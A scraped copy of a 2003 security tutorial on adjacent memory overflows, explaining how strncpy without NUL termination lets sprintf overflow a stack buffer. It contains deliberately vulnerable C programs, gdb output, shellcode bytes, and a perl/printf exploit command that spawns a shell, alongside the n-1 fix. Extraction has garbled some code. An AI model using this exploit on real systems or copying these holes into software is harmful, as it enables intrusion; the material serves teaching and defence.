Adjacent Memory Overflows by Mercy (2003)

Embed Size (px)

Citation preview

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    1/7

    DSR - DTORS SECURITY RESEARCH

    Author: mercyDate: 3/04/2003Subject: Adjacent Memory Overflows

    Overview of article:

    This article is meant to be presented as an informative, step by step log of exploiting an adjacent memoryoverflow. It is aimed at those who have buffer overflow experience, and hopefully have knowledge of theorganisation of the stack.An article has been posted in phrack magazine with a very good overview and introduction to this topic, I suggestyou read that and use this text as a reference to theorys presented.-------------------------------------Volume 0xa Issue 0x38

    05.01.20000x0e[0x10]twitch -------------------------------------

    Character arrays are terminated with NULL bytes(0x00), they let the function know that the end of the bufferhas been reached, and to stop reading at that point.

    Q. If an array has no NULL byte, how does it know when to end?A. It does not know when to end, it will continue reading from memory until a NULL byte is encounted or a seg fault occurs.

    Q. How can this knowledge be incorporated into an exploitable situation?A. Let me copy you passages from three "secure" functions man pages:

    NAME: strncpySYNOPSIS: char *strncpy(char *dest, const char *src, size_t n);INFO:

    The strncpy() function is similar, except that not more than n bytesof src are copied.

    Thus, if there is no null byte among the first n bytes of src, the resultwill not be null-

    terminated.In the case where the length of src is less than that of n, the remain

    der of dest will bepadded with nulls.

    NAME: fprintf && sprintfSYNOPSIS:

    int fprintf(FILE *stream, const char *format, ...);int sprintf(char *str, const char *format, ...);

    INFO:

    Upon successful return, these functions return the number of characters printed (not includ-

    ing the trailing '\0' used to end output to strings). The functions snpr

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    2/7

    intf and vsnprintfdo not write more than size bytes (including the trailing '\0'). If t

    he output was trun-cated due to this limit then the return value is the number of characters

    (not including thetrailing '\0') which would have been written to the final string if en

    ough space had been

    available. Thus, a return value of size or more means that the output was truncated. (See

    also below under NOTES.) If an output error is encountered, a negative value is returned.

    strncpy notes:As you can see, NULL bytes are very important, now if we read the important partof strncpy, absorb this information:If we have a buffer of 100 characters, and are copying to a buffer of 100 characters, it will NOT be NULL terminated,this can arise in errors later on.On the other hand, if we have a buffer of 99 characters, and are copying to a bu

    ffer of 100 characters, that extra n byteswill be NULL terminated.

    fprintf and sprintf notes:We know that the man page is talking about the return value, but it gives us theinformation we need:

    Upon successful return, these functions return the number of characters printed (not includ-

    ing the trailing '\0' used to end output to strings).This is telling us, that they use a NULL byte to terminate their output stringsor to determine the end of theirstrings.

    From these three functions and our new knowledge, lets write up a program that will:Accept two user inputs, copy one input to a buffer, and print out the copied buffer.

    //--------------vuln to adjacent memory overwrite: DSR#include #include

    int main(int argc, char **argv){

    char copy_buff[263];char exploit_string[1024];char vuln_array[256];

    if(argc

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    3/7

    (The large buffers seem to get rid of junk between arrays. [those junk characters are usually pointers to something])

    This looks seemingly harmless, I mean we are using strncpy, so our buffers arentgoing to overflow.We can safely use the sprintf function without worry because strncpy did all thechecking we needed.

    Uh OH, armed with what we know, we can exploit this to our advantage.Knowing that strncpy will copy all of the buffer to the very last byte, we can essentially write 256 characters intoargv[1] in turn overwriting where a NULL byte should be placed, and leaving thesprintf function vulnerable to an overflow.Our stack knowledge must come into play arounnnnnnnd.... NOW!

    If we have two character arrays:

    char buffer1[] = "hello";char buffer2[] = "goodbye;

    When it is compiled, the order of the buffers should look a little something like:

    [Upper memory/top of stack]buffer2[0] = 'g';buffer2[1] = 'o';buffer2[2] = 'o';buffer2[3] = 'd';buffer2[4] = 'b';buffer2[5] = 'y';buffer2[6] = 'e';buffer2[7] = '\0';

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    4/7

    char buffer3[] = "greetings";printf("buffer1: %p\n", buffer1);printf("buffer2: %p\n", buffer2);printf("buffer3: %p\n", buffer3);return(0);

    }//----------------------------------

    mercy@cia:~$ gcc example1.c -o example1mercy@cia:~$ ./example1buffer1: 0xbffffad0buffer2: 0xbffffac8buffer3: 0xbffffab0mercy@cia:~$ gdb -q example1(gdb) disass main....0x80483b6 : leave(gdb) break *0x80483b6(gdb) r

    Starting program: /home/mercy/example1buffer1: 0xbffffad0buffer2: 0xbffffac8buffer3: 0xbffffab0

    Breakpoint 1, 0x080483b6 in main ()(gdb) x/s 0xbffffab0

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    5/7

    mercy@cia:~$ gcc example2.c -o example2mercy@cia:~$ ./example2goodbyeBhellomercy@cia:~$

    And that is the end of our little detour, hope this may have cleared the organisation of

    variables on the stack in your mind.

    Lets look at how we are exploiting this program:

    1. Overwrite vuln_array's Null Byte with 256 bytes of data.2. Store return address in exploit_string + 12 (12 may be replaced with n bytesdistance)3. sprintf function copys into copy_buff array, terminating at exploit_string'sNULL byte.4. overflow will occur because exploit_string's NULL byte exceeds copy_buffs array size.

    5. Jump to ret addr. which will hold our shellcode.6. Shellcode runs and we are in business.

    Why are we storing our ret. addr in exploit_string + 12? simply because:copy_buff is 264 bytes long.vuln_array is 256 bytes long.The difference is 8 bytes, + 4 bytes for ebp = 12, + 4 more to overwrite eip.(Please note that it wont be + 12 on all systems, depending on the junk after buffers and registers, it may be more,on our RH8.0 system it was 24 bytes.)

    [---log0xbffffc18: '\220' , "1Phn/shh//bi\211\215T$\bPS\215\f$\v\20

    0X\022B\022B\030Y\220\004\b"(gdb) q[mercy@dtors mercy]$ ./tutUsage: ./tut .[mercy@dtors mercy]$ ./tut `perl -e'print "A" x 256'` `perl -e'print "B" x 23'``printf "\x18\xfc\xff\xbf"`MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBB

    sh-2.05$

    [---end

    VIOLA!We have just successfully exploited that "secure" application armed with a bit of knowledge, and the will to experiment.This technique is not hard to learn or to spot for that matter, and can easily be prevented with copying [ n - 1 ], for example:

    strncpy(vuln_array, argv[1], sizeof(vuln_array) - 1);

    strncpy(exploit_string, argv[2], sizeof(exploit_string) - 1);

    Would append the rest of the array (1 byte) with a NULL byte, preventing any suc

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    6/7

    h attack from taking place, and makinga quality product for the users of software.

    As you safely experiment with these type of BUGS, you will see they are more common than most people recognise, alwaysread up on your functions and have a firm understanding of the workings before deciding to use them and release a secure product.

    I will conclude this article with a vulnerable program for you to exploit, takeyour time and do some research.You may contact me at:

    [email protected] OR irc.dtors.net:6667 (#dtors)Or have a look at my website for revised articles.

    http://mercy.dtors.net

    //-----------------------------------------------------------------/* Simple illustration of a copy function that requires a NULL byte to terminatecopying. *//* Please note: Varying situations and modification of functions allow this type

    of bug *//* to occur. Make sure to audit every function with a mind of how it may be exploited. *///-----------------------------------------------------------------

    #include #include #include #include

    int copy_string(char *dest, char *src){

    int len, loop;

    len = strlen(src) + 1;for(loop = 0; loop < len; loop++){

    dest[loop] = src[loop];}return len;

    }

    int main(int argc, char **argv){

    char address[] = "0wn3d?";char name[256];char copied[256];int ret_val, size;

    size = sizeof(name);

    strncpy(name, argv[1], sizeof(name));

    if((copy_string(copied, name))

  • 8/7/2019 Adjacent Memory Overflows by Mercy (2003)

    7/7

    fprintf(stdout, "IT appears we have been \"%s\" cappin.\nAborting.\n", address);

    exit(0);}

    fprintf(stdout, "hmm...");return(-1);

    printf("%s\n", copied);}//----------------------------------------------------------------------